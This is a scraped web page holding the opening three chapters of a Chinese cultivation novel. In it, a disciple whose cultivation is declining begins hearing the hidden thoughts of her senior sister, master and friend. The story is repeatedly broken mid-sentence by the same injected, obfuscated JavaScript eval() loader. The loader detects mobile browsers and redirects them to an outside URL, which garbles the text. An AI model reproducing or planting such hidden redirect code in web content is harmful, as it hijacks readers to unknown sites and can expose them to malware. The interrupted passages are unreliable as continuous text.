《我死后,全员火葬场》 1. 第一章 鹿鸣意是被疼痛和一股子苦涩的药味儿给熏醒的。 她迷迷糊糊睁开眼,还来不及看清自己在什么地方,就看着一个黑色的丹药放在了自己眼前,眼瞅着就要强硬地塞进她嘴里。 这药一看就苦得要命! “等——等等!” 鹿鸣意哑着嗓子喊了一声,抬手想要制止面前人的动作,但身子刚动了动,一阵令人天旋地转的酸软感便涌了上来,让她恨不得继续晕着才好。 “醒了?” 拿着丹药的女人手一顿,原本喂药的动作转为了捏住鹿鸣意的手腕,沉默几息后,叹出一口气摇了摇头,对着另一人说道:“寒毒已去,不过又有老问题,我没办法。” “多谢阿茗,能让小意醒来已经是万幸。你刚从秘境回来就来忙这一遭,事后我定会上门拜谢。” 舒缓而轻柔的女声响起,鹿鸣意这才注意到床边还有另一人。 萧雨歇未穿宗服,而仅着一身月白色贴身长袍,零星的光线透入室内照在她的侧脸上,如雨后青叶,朦胧、恬静而柔美。 作为剑峰的大师姐,世家大族的少主,萧雨歇是一以贯之的温和模样。 “师姐?我……”鹿鸣意张了张嘴,回忆着昏迷前的事。 师妹同她说隔壁远山镇有一个刚开辟的小秘境,秘境中正有她四处搜寻都未找到的寒阳草,于是两人一拍即合,共赴秘境。 哪知道寒阳草确实是有,但这个秘境一点都不小。摘完草药后她们正好撞上了一头金丹期的秘境灵兽。 师妹刚筑基大圆满,自然不是这灵兽的对手,眼看着要被伤到,鹿鸣意就冲上去为师妹挡了一下,却没想就这样昏过去了。 想到师妹,鹿鸣意总算意识回笼了大半,她费力抬手拉住了萧雨歇的衣角:“师姐,和我一起去秘境的姬师妹现在在何处?” 听到她的问话,萧雨歇没有第一时间应答,而是先握住了鹿鸣意捏着自己衣角的、冰凉的手放在自己手心暖着,而后才缓声说:“姬师妹没有宗门律令,擅自前往秘境,被师尊罚去思过崖思过一个月。” 思过崖是太清宗用来处罚门徒的地方,地势险峻,常年严寒,布满冰霜,去那里待上几天都能把人折磨得不行。 “什么?”鹿鸣意大惊,然而心念一动,牵扯全身,酸痛感令她痛苦地蹙紧了眉头。 “静心!” 贺茗低喝一声,将温暖舒和的灵力输入鹿鸣意体内,鹿鸣意经脉之间的酸痛感顿时消除大半,她没好气地对萧雨歇说:“你这师妹真是个热心的,这都第几次了?昏了三天,自个儿身体已经这样了,还想着别人!” “阿茗,小意刚醒,如今精神不济,大概是听不得旁的,让她静养会儿吧。我送你回药峰。” 萧雨歇说话还是那样轻声细语,但这话中的意思并不容人反驳,贺茗与她是世交,知道萧雨歇这样说着,此时大概是有几分不快的。 贺茗只当她是太过关心鹿鸣意:“不了,我能御器,你还是在这儿陪着你师妹吧。” 说完,手一挥便出了屋子。 “师姐,我又麻烦你了。但是我现在、现在要去见师尊……” 贺茗一走,鹿鸣意就挣扎着要从床上起身,只是一个再简单不过的动作,可她此时做起来却颇为费力,一张本就没什么颜色的脸更苍白了几分。 萧雨歇原本是在一旁看着的,但最后还是轻叹一声,坐在了床头,小心用灵力托举着鹿鸣意,让她直起身子不用那么难受。 她轻声问:“师尊已经做下的决定,如何能更改?更何况……小意,师尊是因为你尚且伤着,并未对你发落,待你的伤好了,师尊会就此事再见你的。” “我知道。但去秘境这事是因我而起,不论师尊作何处罚,我都要将事情的原委告诉师尊。” 鹿鸣意的五官中,一双明眸最为惹人,此时她眼角大抵是因疼痛而泛了点红,本该增添几分脆弱感,然而她眸光坚毅,反倒是更显的光彩照人。 萧雨歇看了她好一会儿,鹿鸣意不明白师姐为何这样注视她,又小声唤了声师姐。 萧雨歇抿了抿唇,将视线从鹿鸣意脸上移开:“好,那我送你去。” “这事不能继续麻烦师姐了,我自己……”鹿鸣意想说自己去,然而她一运作灵力,周身的经脉便再度传来阵痛。 这个反应让她心一沉。 萧雨歇及时扶住她,从始至终柔和平缓的眉眼这会儿才显露出几分不忍,她轻声说:“小意,你此次前往秘境受伤,灵脉又遭受寒毒摧残,如今已经是筑基三层了。” 筑基三层! 饶是鹿鸣意早就有了心理准备,但听到这个消息时还是有一瞬的怔住。 三年前,她是在大比中夺得魁首、太清宗最年轻的金丹修士,如今,她的修为已经跌落至筑基三层,连御器都无法做到。 放在床铺上的手慢慢握紧,鹿鸣意的呼吸沉了几分。 萧雨歇眼中的不忍浓了些,张了张嘴正要开口,鹿鸣意面上的沉闷却已经被扫开:“我知道了,那只能麻烦师姐了,事后我也会带礼向师姐拜谢。” “一定要现在就去?”萧雨歇瞥她一眼,方才的不忍又消散。 “嗯。”鹿鸣意点点头。 太清宗宗规繁多细小,剑峰更甚。 萧雨歇方才说的没有宗门律令擅自进入秘境,处罚确实是思过一个月,但那是对主犯的处罚,若是从犯,只罚七日。 姬师妹会擅自去秘境,是因为鹿鸣意想去,真要论起来,她鹿鸣意才是主犯,师妹不过是个从犯罢了。 萧雨歇得了鹿鸣意的肯定答复,点点头,面上还是一如既往的柔和模样:“那我们立刻去凌霄阁。不过,在此之前,我先去帮你取一件外衣,毕竟你才从病中苏醒。” 鹿鸣意点点头,哪怕她觉得自己现下只是有些酸软无力的症状,但她师姐一向心细,安排的事情不论大小都相当妥帖,因此这些细节的事务她多是听萧雨歇的。 待萧雨歇走出房间后,鹿鸣意又忍着疼运转了一下丹田,其中蕴藏的灵力再度告诉她,自己的修为已经降至筑基三层这个事实。 在她为此而叹息的同时,耳畔突然响起一个声音: 【为什么……性子和小疾如此不同?要是能再像点就好了。】 “谁?!” 鹿鸣意心中一惊,此时房间内就她一人,这还是萧雨歇的屋子,声音是从何而来? “小意,怎么了?” 拿着披肩的萧雨歇快步走进了屋内,见鹿鸣意神色略有疑虑,敛眉问道。 鹿鸣意环视了一下屋内,并未见到其她人,也并未感受到灵力波动,她动了动喉咙,还是冲萧雨歇笑道:“没什么,就是刚刚……有点幻听了。” 事实上,她还觉得那个声音和萧雨歇有点像。 萧雨歇给她披上披肩,又无奈说:“都说了你身子还很虚弱。不过,你决定的事,我从来劝不动,还是早去早回吧。” 鹿鸣意乖乖让萧雨歇帮她系好衣领,又笑道:“最后一回,往后我一定听师姐的话。” “每回都这么说。”萧雨歇继续无奈,唇角却是上扬了一些。 御剑飞行时,萧雨歇将鹿鸣意护在了身后,又用灵气护佑,让她一路上几乎没受着一点寒气。 她们师尊的住处名唤凌烟阁,位于剑峰峰顶,这里虽然不似思过崖那般终年冰雪,却也因为位置过高而寒气逼人。 鹿鸣意第一次御剑飞上来时就说过,除了她师尊,大概没人能一直住在这儿。 “好了,进去吧,我在外面等你。”萧雨歇又为鹿鸣意紧了紧披肩。 鹿鸣意直言道:“你在外面做什么?这儿冷死了,凌烟阁里面暖和些,师姐同我一起进去吧。” 萧雨歇笑着摇了摇头,姜流照不喜旁人打扰,哪怕是亲传门徒,非紧要事,也不能没有她的传令随意进出凌烟阁。 当然,鹿鸣意似乎并不知道这个惯例。 萧雨歇看向鹿鸣意的眼神又多了几分复杂:“不了,你快去吧,还记得我们说早去早回吗?” “好。”到这时,鹿鸣意身上的那阵酸痛感已经消去了大半。想到正事,她也不在门外浪费时间,径直推开了凌烟阁的门。 如鹿鸣意所言,一推开门,暖气裹着浓郁的檀木香便涌了上来,熟悉的气息让她精神都放松了些。 凌烟阁内的温度比外面高,并非是姜流照用了暖珠之类的宝物,而是因为她的灵火。 鹿鸣意望向殿内尽头。 坐在台前的女人正用一只手支着头,如瀑般的长发垂下,借着火光,在她白皙如雪般的肌肤上打下片片阴影,清冷绝尘的容颜若隐若现,周遭的空气似乎也因她而变得缓慢凝滞。 即便室内火光通明,也无法打碎姜流照身上拒人于千里之外的气息。 在过去的数百年里,姜流照都是“天才”的代名词。 引气入体后三个月内便迈入练气期,六十年内修炼至金丹,如今不到千岁已经是大乘初期修为,是修仙界中最年轻的大乘修士,许多人都认为她会是数千年来唯二能飞升成仙的那个人。 另一个是以前的鹿鸣意。 姜流照性情冷淡不喜言辞,若从气质性格来看,许多人都认为她该是个冰灵根或者水灵根。 然而姜流照是个纯粹的火系天灵根,早早就炼出了自己的本命灵火。 鹿鸣意第一次知道这事时,也觉得稀奇。 当然,她只是觉得有点难想象她师尊这样的人放火的画面。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019076|162176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 但姜流照精通于剑术,她自创的赤霄剑法威力惊人,是以鹿鸣意入太清宗近百年,也真没见她师尊放过火。 刚入凌霄阁大殿,鹿鸣意就感到一阵灵力波动,接着,灵力托举她来到了姜流照面前,连走路的功夫都不用了。 “师尊。” 鹿鸣意眼睛一亮,半跪下去,先向姜流照行了一个完整的礼。 姜流照没出声,鹿鸣意只好维持着行礼的姿势。 她悄悄抬眸看了一眼还在高处端坐着的女人,姜流照拿着一片玉简,半阖着眼眸,看起来正在办事,长如鸦羽般的睫毛映下细小的阴影,眼前的景象看起来分外宁和。 鹿鸣意估摸着姜流照大抵知道她是为姬绪云而来,这会儿怎么着也该摆出点态度来。 于是,姜流照不开口,她也不起来。 但鹿鸣意忽视了自己受过伤的身体此时称得上“娇气”,跪了还没一炷香时间,她的膝盖就已经疼得不行,偏偏姜流照还在看那玉简,一点都没有要开口的意思。 求情很重要,膝盖也很重要。 鹿鸣意决定偷偷用一下灵力,然而她丹田内的灵气刚刚开始运转,一阵强大的威压就压了下来,她当即无法使用灵力。 鹿鸣意心里咯噔一下,知道今天是没法蒙混过关了。 与其这么僵持,她干脆直言道:“师尊,徒儿前来不为逃避擅自前往秘境的处罚,只是内门的姬师妹,她是受徒儿牵累,去秘境一事是徒儿的主意!依照太清宗宗规和剑峰峰规,姬师妹的处罚该只有七日的。” “还望师尊明察!” 而方才一直看着玉简的姜流照,在听完鹿鸣意恳切的话后,总算垂眸看向了自己的这位门徒。 姜流照的眼眸极黑极亮,如她的剑气一般锋利,且摄人心魄。 这会儿这双眼眸带着审问的意味看过来,鹿鸣意与之对视两息,便率先移开了视线,垂到地上。 “你说你的主意,那么为何?” 姜流照将玉简放下,玉器置于台上,发出清脆的声响,一如她的声音。 鹿鸣意心下犹豫,为了寒阳草这件事,是暂时不能告诉姜流照的。 她便道:“徒儿想找人炼制些许丹药来舒缓经脉,寻求修为突破的方法,是以想要前往秘境搜寻药草。” 殿内陷入了一阵沉默,鹿鸣意又大着胆子再去看姜流照,却见师尊依然在垂眸看她。 她身上只有太清宗的宗服,和萧雨歇的一件披肩罢了,姜流照能看什么? 但姜流照的神色看不出任何情绪,鹿鸣意便想继续求情,于是放软声音:“师尊,我……” 却见姜流照阖眸,用灵力将她从地上拖了起来。 鹿鸣意顿时喜笑颜开,和姜流照师徒这么多年,她当然了解一点对方的脾气。 刚才让她跪着是对她擅自去秘境的小惩罚,这会儿拖她起来则是表明接纳了她的话。 姜流照性子冷清,却并非不近人情。 鹿鸣意又凑近了一点,和姜流照就隔着桌台,灿烂笑道:“多谢师尊!” 只是和她的满面笑容相比,姜流照依然淡漠:“不论为何,你应当知道量力而行。待你身子好后,领罚去思过崖一个月。” 知道处罚逃不了,但听到真要去一个月,鹿鸣意还是咧了咧嘴,为自己默哀。 她又看了一眼从头到尾端坐着的、动作没有丝毫变化的姜流照,在试图再跟师尊讨饶和乖乖听话之间,选择了后者。 “徒儿明白,那徒儿先告退了。” 既然已经说明白了事,鹿鸣意想着萧雨歇还在外面受着冷风,便没打算多留。 哪知这时候姜流照一时也没发话,鹿鸣意只能先等着,过了一会儿,她才听到她师尊说:“你的病症还找不到解决方法,就先不急,至少保证身子康健,回去多歇息。” 说完,见鹿鸣意有些讶异地看过来,姜流照停顿一瞬,才又说:“曜冶真人那儿有一批新的丹药,晚上送去你的金霁阁。” 鹿鸣意并不意外姜流照知道她修为跌落的事,大概从她进门之时,姜流照就发现她已经跌倒了筑基三层。 但姜流照话少性子淡,比起言语,她更注重行为。如此直白地说出“不关心修为只关心你身体”的意思倒还是头一次。 鹿鸣意只觉得喉咙有点发干,缓了一会儿才笑道:“徒儿谨记师尊教诲。” 姜流照微微颔首,这回也是用灵力将她直接送到了殿门口。 从进殿到出门,鹿鸣意只有刚刚跪的那会儿用了腿脚,甚至跪也没让她跪多久。 她抬手准备推开凌烟阁的主殿大门,而这时,她耳畔再度响起一个声音: 【怎能如此不知轻重缓急?如今这般,也只能去找新的门徒了。】 2. 第二章 “小意,小意?” 萧雨歇唤了几声,鹿鸣意才回过神来:“师姐,怎么了?” “你从回来之后就在走神。”萧雨歇黛眉微蹙,伸手抚平鹿鸣意衣领的褶皱,关切问,“可是师尊训了你?不必太过挂心,毕竟师尊向来看重你,见你又伤着了,她大抵也是不好受的。” “嗯,我知道。”鹿鸣意点点头。 只是在萧雨歇温柔包容的眼神下,她还是没忍住吸了口气,低声说:“说起来,师尊还有收亲传门徒的打算吗?我入门已经几十年了。” 听到这个问题,萧雨歇有些讶异地挑了挑眉,随即她考虑到鹿鸣意修为又跌落的事,让语气轻松些:“也许?师尊如果有了个新的门徒,对我们来说,就是多了个师妹,多了个家人朋友,我们的日子本身是不会有什么变化的。” “嗯……师姐说的对。”鹿鸣意有几分低落的心情被萧雨歇一句话就抚平了。 首先她不能因为一时幻听就去怀疑师尊,其次,就算师尊收了新的门徒,也是再正常不过的事情了,她会有个新师妹,她也会对新师妹好,她的生活依然快乐。 这样一想,鹿鸣意又把那点自我怀疑抛到了脑后。 事关师妹的处罚问题解决了,她决定等四天后姬绪云从思过崖出来,好好补偿一下。 而现在,她还有一件要紧的事急着去做。 “师姐,我觉得我身子已经没什么大碍了,我想要去隔壁丹峰一下,向你请示!” 鹿鸣意一板一眼地说着,还真像那么回事,只是萧雨歇已经太熟悉她这些套路了。 她拉住鹿鸣意的手,见暖了这么久也没能让她手暖和起来,只好往她手心里塞了个暖珠。 萧雨歇的幽兰阁四季如春,一如她本人那般让人如沐春风。这会儿卧房内的温度也称得上暖和,鹿鸣意觉得自己有点犯困,师姐的声音听起来也有些缥缈:“你去丹峰……是去找沈师妹吗?” “嗯?是的。”鹿鸣意打了个小小的哈欠,眼底泛着点水光点了点头。 萧雨歇的身影变得更朦胧起来,只是鹿鸣意看着她师姐的侧颜,不知为何品出了几分冷淡的味道。 她眨了眨眼,视线变得清明,萧雨歇还是那副温柔如水的样子,细声和她说:“但是前几日丹峰的齐岐恰好同我说,沈师妹最近闭关了。” 齐岐是丹峰峰主曜冶真人的亲传门徒,也是丹峰的大师姐,沈鸣筝和她关系匪浅,这消息绝对靠谱。 “什么?”鹿鸣意又是大惊失色,不知道最近这事儿怎么一茬接着一茬。 她这会儿头发还是散着的,从储物戒指里随意拿了一根绳子出来绑住,斟酌片刻后说:“那我去找齐师姐吧,这事儿真的很重要。” 如萧雨歇自己所说,鹿鸣意做的决定她从来没劝成功过,因此她只是垂眸遮去眼中的情绪,而后笑道:“既然如此,那我送你去。” “啊不用不用!”鹿鸣意还是那副诚恳的样子,“师姐,我昏迷这几天都在你这儿,已经耽误你不少事了,去师尊那儿是你送的,现在这去丹峰还要你送,那不是又碍着你一天了吗?” 萧雨歇看着鹿鸣意,少女的眼睛始终明亮清澈,她又先收回视线说:“行,那你去吧。但晚上要来我这儿,我让贺茗再给你看看。” 鹿鸣意对此自然没有异议。 修为降到筑基三层,无法御器,鹿鸣意自然无法御剑飞去丹峰,但好在剑峰和丹峰距离不远,沈鸣筝的金阙阁还在丹峰的中心位置,哪怕走路过去都非常方便。 鹿鸣意来这儿轻车熟路,甚至小道都知道几条,为了避人耳目,她还真就特意选了小道。 寒阳草产量大,但是仅在秘境中有,太清宗的药峰都没能养出来,因此这草药勉强算得上抢手货,鹿鸣意并不想经过她人交给沈鸣筝。 横竖她有金阙阁的门匙,留个储物戒指给沈鸣筝解释一下就行,顺便让她帮自己去和齐岐串一下口供。 但到底是受了伤又昏迷三天,上午还去姜流照那儿跪了片刻,等走到金阙阁的时候,鹿鸣意觉得身体经脉里那股疼痛又有卷土重来的意思了。 不过,还能忍受。 鹿鸣意擦了擦额上的汗,看向自己眼前这座金碧辉煌的建筑。 要论太清宗内哪位金丹期以上修士的宅子最好,沈鸣筝的金阙阁称第二,没人敢称第一。 旁人建宅子,一些世家大族也就弄点宝石暖玉装饰点缀一下,然而金阙阁直接用羊脂白玉做地砖,帝王绿翡翠做室内装饰,更别提用鲛人泪来当夜明珠、用龙鳞来调节湿度这之类的了。 一句话来概括,金阙阁简直富得流油! 旁人见了金阙阁,总要感叹一番,但鹿鸣意早已习以为常,因此她只是揉了揉被金阙阁那一圈金光晃到的眼睛,又抬着步子准备进入阁内。 “你来都不打声招呼?” 哪知道门匙都还没拿出来,她身边先炸起了个女声。 “阿筝?”鹿鸣意满脸讶异,“你没在闭关?” 来人同鹿鸣意差不多身高,略矮几分,同样一身白色宗服,但她衣领袖口的红色纹路是丹峰门徒特有,与鹿鸣意象征剑峰的金色不同。 同时,她宗服的布料也明显不一样,光照下,那些布料上有隐隐的光华流转——是高级的护身阵法纹路。 且她五官生的明艳至极,端是往那儿一站,便足以令百花失色。 沈家是天下第一世家,以炼丹为专长,家族底蕴本就不可估计,沈鸣筝又是沈家唯一的嫡女,未来的家主,在宗门的宅子更是取名为“金阙”。 有人称沈鸣筝华贵骄矜比牡丹更甚,真是一点都不为过。 只是这比牡丹花更矜贵的人眼下看起来并不大好,沈鸣筝柳眉紧蹙,先抬眼垂眸将鹿鸣意上下打量了一番,然后才压着火气说:“你这副样子就出来?” 鹿鸣意眨眨眼,也低头将自己看了看,宗服干净没染一点灰,又揉了揉脸,脸上也没沾什么东西。 她知道沈鸣筝喜洁,出门前还仔细整理了一下的。 沈鸣筝看不过眼她这动静,不耐道:“你自个儿去照照镜子吧,白着一张脸不在自己宅子里躺着,跑出来做什么?”一面说着,她一面又走近了点,“还有,你听谁说我在闭关?萧雨歇?” “我师姐是听你们齐师姐说的,那看来是齐师姐弄错了。”知道沈鸣筝是指自己脸色不好看,而不是说自己身上有什么脏东西,鹿鸣意就直接走过去,一只胳膊搭在沈鸣筝肩上,“阿筝,我拖着身子来找你,你都不感动一下的吗?” “呵,你那好师姐倒是消息灵通。我是要闭关,但被事情耽搁了。”沈鸣筝冷哼一声,却也没甩开鹿鸣意,只是瞥着她说,“你有话快说,别扯其她的,是伤着哪儿要用药吗?” “哎呀阿筝你真是料事如神,我此来确实是有一事相求……” “收起你这副德行,别整日不成体统的!”沈鸣筝喊了声,将鹿鸣意贴上来的身子推开,转过身快步走向金阙阁,“随我进来拿药!” “唉,阿筝等等!”鹿鸣意跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019077|162176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上她进了金阙阁内,“我确实于丹药上有求,但不是我的……” “啪”的一声,沈鸣筝猛地合上了已经打开的碧蓝色宝盒,打断鹿鸣意的话。 她又是一声冷笑,转身提眉盯着鹿鸣意:“哦?不为你自己,那是为了谁?你的好师姐?还是剑峰的那个新师妹?” “这都多少年了你怎么还在意这个……”鹿鸣意笑了一声,但还是顺着沈鸣筝的脾气,“哎呀都不是。我师尊的八百岁寿辰要到了,我想赠她一副火灵丹。” 火灵丹是拥有火灵根修士用来温养经脉、稳固丹田的最佳选择,属于五品丹药,算不上难炼制,但因为材料需要寒阳草,产量一直算不上多,并且因为能炼制的丹修多,其品质也参差不齐。 提到炼丹品质,那沈家必然是首选。 沈鸣筝作为沈家少主,不过百岁就已经是金丹期,其天赋放眼沈家全族,也是古往今来第一人,更不用说她的炼丹水平,连太清宗丹峰的峰主曜冶真人都赞不绝口。 而在听到鹿鸣意是要给姜流照送生辰贺礼后,沈鸣筝面上的冷意稍微褪去了一点,但嘲讽的笑并未散去:“原来你不管不顾擅自去秘境,就是为了给你师尊送贺礼?你师尊真是得了个好门徒。” 知道沈鸣筝一直介意自己去剑峰这事,鹿鸣意不管她话里的刺,反而又凑了过去,笑道:“哎呀好阿筝,论炼丹,如今有多少人能在你之上?你就帮帮妹妹吧。喏,这一枚储物戒指里都是草药,除了炼制火灵丹的那些材料,还有青云草血凝花之类的,我还塞了几枚九转金丹,你都拿去吧。” “九转金丹?”沈鸣筝一愣,九转金丹可是二品丹药,她自己也没多少,“那不是我师尊之前给你用来修补灵脉的?” “呃确实是,不过……反正对我来说没什么用。与其放置着浪费了,给你用更好。”鹿鸣意耸了耸肩,又把储物戒指往沈鸣筝跟前递了递。 沈鸣筝没有接过来,而是又看了看鹿鸣意,随即眼睛微微睁大:“你的修为……” 如今沈鸣筝比鹿鸣意高了一个大境界,可以看出她的具体修为,而鹿鸣意神色未变,只是笑着说:“是啊,又降了两层,恐怕要不了多久就要跌到练气期了。” 听了这话,沈鸣筝的神情变得极为复杂,明艳如花的脸庞蒙上了一层阴影。 她接过鹿鸣意递来的储物戒指,嘟囔说:“没事,反正沈家会养着你的。” 这话把鹿鸣意逗得更乐,她又搂住沈鸣筝细长的脖颈:“真的?那妹妹以后可全依仗沈少主了啊?” “你……放手!”沈鸣筝被她这么一弄,白皙如玉的耳朵都被闹得通红,怒道,“鹿鸣意,和你说过了别整日没体统的!” 鹿鸣意闹完后,沈鸣筝又把一开始拿在手里的那个碧蓝色宝盒扔到了她手中:“拿回去。” 鹿鸣意不打开也知道这绝对是一整盒的丹药,她无所谓道:“这些对我没什么用的,不用给我……” “让你收着就收着!”沈鸣筝对鹿鸣意的回绝面露不快,态度强硬不容质驳。 “好吧。”鹿鸣意知道沈鸣筝的脾气,若她一直回绝,对方怕是要大发雷霆,因而还是将宝盒收入了另一枚储物戒指。 这个动作做完,她耳畔响起了一道带着嘲讽意味的女声: 【呵,已经是筑基三层了,看来你离变成废人的那天也不远了。】 鹿鸣意瞪大了眼睛,她看向自己身旁的人。 沈鸣筝依然光彩照人,她垂眸与鹿鸣意对视,神情坦荡:“怎么了?” 3. 第三章 回到剑峰后,鹿鸣意如约先去了萧雨歇的幽兰阁,贺茗已经在那儿候着了。 她惊讶于鹿鸣意的身体恢复居然如此之快,明明早晨刚醒的时候,全身经脉还相当脆弱,一天过去,她却已经生龙活虎了。 然而,对于修为倒退这件事,她也依然是无能为力。 “我闭关出来,听我师尊说过你的事,从这几次诊脉来看,你的体质当真棘手。” 贺茗是药峰峰主云和真人的亲传门徒,当年鹿鸣意一出事,姜流照就将云和真人请了过来亲自为她医治,然而这位修仙界数一数二的医修,面对鹿鸣意的情况也是束手无策。 鹿鸣意已经听多了这种话,因而并不在意,还对贺茗道:“贺师姐,我知道自己是个什么情况,倒是麻烦你和师姐还要替我操心。我那儿还有些草药和丹药,明日我去药峰登门拜谢。” “不了。”贺茗摇摇头,注视着眼前的人,“剑峰和药峰远着,虽然你的经脉看似已经痊愈,但还是多养些日子的好,不能御剑的话,又要操累一番。” 她说完,留心着鹿鸣意的模样,却见她神色平静:“贺师姐所言有理,那这份情我先记着,几日后再去药峰。” 从天之骄子到亲眼目睹自己一点一点跌落,这份冲击绝对是巨大的,但鹿鸣意却如此淡然,不论是强装的还是真实如此,这份心境都已经足够强大。 鹿鸣意倒是注意到了贺茗隐隐打量的神色,然而三年来,这种眼神她已经见过太多,是以根本没往心里去,这会儿她心中压着一件事。 她没打算同萧雨歇商讨,毕竟她在萧雨歇这儿也听到过那种声音。 在离开幽兰阁后,鹿鸣意没有回自己的金霁阁,而是调转脚步去了藏书阁。 太清宗作为如今修仙界风头最盛的宗门,其藏书阁自然海纳百川,不论是藏书数量还是占地面积都颇大,藏书阁位于太清宗主峰之上,距离其余五峰距离都不算远。 但今天鹿鸣意已经奔波了一天,哪怕身体恢复奇快,也还是带着伤,她走在路上的时候当真是无比怀念御剑飞行的日子。 筑基四层是御器的门槛,她偏偏从筑基五层一下子掉到了筑基三层。 所以说,就算境界要跌落,为什么要一下子跌落两层呢? 多跌点少跌点都让人好想点嘛。 鹿鸣意在心中默默嘀咕着,又可怜自己的仙剑。 她的佩剑名为“故里”,是姜流照从一处太虚秘境中得到的流云星铁锻造成的,剑身轻薄如云,又有淡金流光缠绕,与鹿鸣意的金灵根适配性极高。 如今,她怕是没多少次机会用剑了。 要说眼睁睁看着自己的修为一点一点消失,而不感到丝毫恐惧和愤懑,那是纯粹的假话。 但鹿鸣意也不想整日为此伤春悲秋、怨天尤人,如何度过今天才是她每日所想。 至于明天,谁知道会发生什么? 就像现在,她听到的那个莫名其妙的声音。 在接连听到三次、且三次声音都不同的时候,鹿鸣意怎么也无法用“这是幻听”来逃避了。 频繁地听到其她声音,在修仙界是一种非常不好的征兆。 进入藏书阁时,鹿鸣意亮出自己亲传门徒的身份牌,殿门口的法阵便向她的身份牌中注入了一道术法,除了第九层的禁书区,其余的藏书可尽由她翻阅。 这三年为了找出自己身上产生异样的原因,鹿鸣意最常跑的地方就是藏书阁,对这地方早就烂熟于心。 她一进门,就直奔六层的修仙界历史区,翻出那本最厚的《修仙界的起源与体系建设》,找到“修道与魔修的分支”这一专题开始看。 太清宗有修仙史这一五峰都要修习的科目,当年为了通过考核,鹿鸣意几乎将这本书都背了下来,如今过去几十年,许多细节她已记不太清。 但她记得的是,听到许多负面的、让人怀疑自我和身边人的声音,是走火入魔的显著特征。 然而看到引发走火入魔的条件这一板块,鹿鸣意又很确信自己不是,因为她既没有过分执着之事,也没有郁郁寡欢、负面情绪集中的情况。 她又翻开一本《远古时期修仙界神话体系》,里面提到在远古时期有神兽名为凤鸟,凤鸟是太平祥瑞的象征,且拥有洞察人心、听人心声的神通。 在思索自己听到的那些话是否是“人声”之前,鹿鸣意首先否认了自己会有神兽异能这种可能。 当今确实有一些传闻,说哪个世家是哪个神兽的后代,比如萧家就一直被说是有神兽鸾鸟的血脉。 但这些不过是道听途说的内容,且大多是为了鼓吹家族的名声而传出来的,如果沈家少主沈鸣筝听到这种话,只怕会是嗤之以鼻。 更何况,如果她真有这种异能,又怎会如今才显现? 鹿鸣意在脑海中细细思索着,这一找,就是在藏书阁待了一整天,如果不是她的身份牌闪了又闪,表明有讯息传来,她是要继续找线索的。 “嗯?明萱师姑?” 走出藏书阁打开身份牌的传讯,鹿鸣意收到了好几条曜冶真人让她马上回金霁阁的消息,看起来分外紧急。 但鹿鸣意是用腿走的,哪怕她走得再快,从藏书阁回到金霁阁也耗费了足足两炷香的时间。 是以,她老远就看到了一个黑着脸的高挑女人站在自己宅子门口。 “鹿鸣意!你让老娘好等!”看到了人,明萱立刻喊了一嗓子,蹭蹭走到鹿鸣意跟前,疯狂点着她的脑袋,“难道你师尊没跟你说昨晚我来送药吗!这几天她让我关照你,听说你受伤了修为又降了,我从昨晚等到今晚,还以为你是去哪儿想不开了,把老娘吓得要死!” “等等!”鹿鸣意为了保护自己的脑袋不被明萱戳出个火星子来,急忙后退了几步,护住脸道“明萱师姑,我师尊说您会给我丹药,但是没说是您亲自来送啊!” 说着,她又睁大了眼睛,看起来乖巧懂事:“如果我知道是您亲自来,那必然早早就在宅子里候着,为您煮上一壶竹叶青了。” “她没说?”明萱一听,脸上的火气立刻退了大半,转而变为隐隐地担忧,“师姐素来谨慎,看来情况当真是危急……” “师姑,宗门内可是有什么要紧事?”听到提及姜流照,鹿鸣意跟着问了声。 明萱看她一眼,斟酌了一下道:“进屋去说,我等着喝竹叶青呢。” 明萱作为丹峰峰主,号曜冶真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019078|162176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,与姜流照是同门的师姐妹,两人关系甚笃。 自鹿鸣意入宗成为姜流照的亲传门徒,也没少和这位师姑打交道,甚至在她身体出问题之后,那些价值不菲的丹药都是由明萱亲自炼制的。 明萱同样是火系天灵根,平日里性子直、火气重,除炼丹外有个品茶降火的爱好,而鹿鸣意煮茶技术一流,每回明萱来剑峰,她都会为这位师姑煮上一壶竹叶青。 “宗主师姐的病情恶化,你师尊去探望她,还要代她处理宗门内的事务。”甫一坐下,明萱就开门见山地说。 鹿鸣意将茶叶倒入壶中,准备洗茶,她没有打断明萱,知道对方后面还有话。 果然,明萱长叹一声道:“最近世道不太平,魔宗那边似乎有动静,她们大概还是对五色石的传说不死心,正道几个大宗和世家都在着手警戒。” 修仙路漫漫,得道之人少之又少。 除了天资机缘限制外,一些心性不坚定的人极容易产生心魔,或是走火入魔,由此堕入魔修。 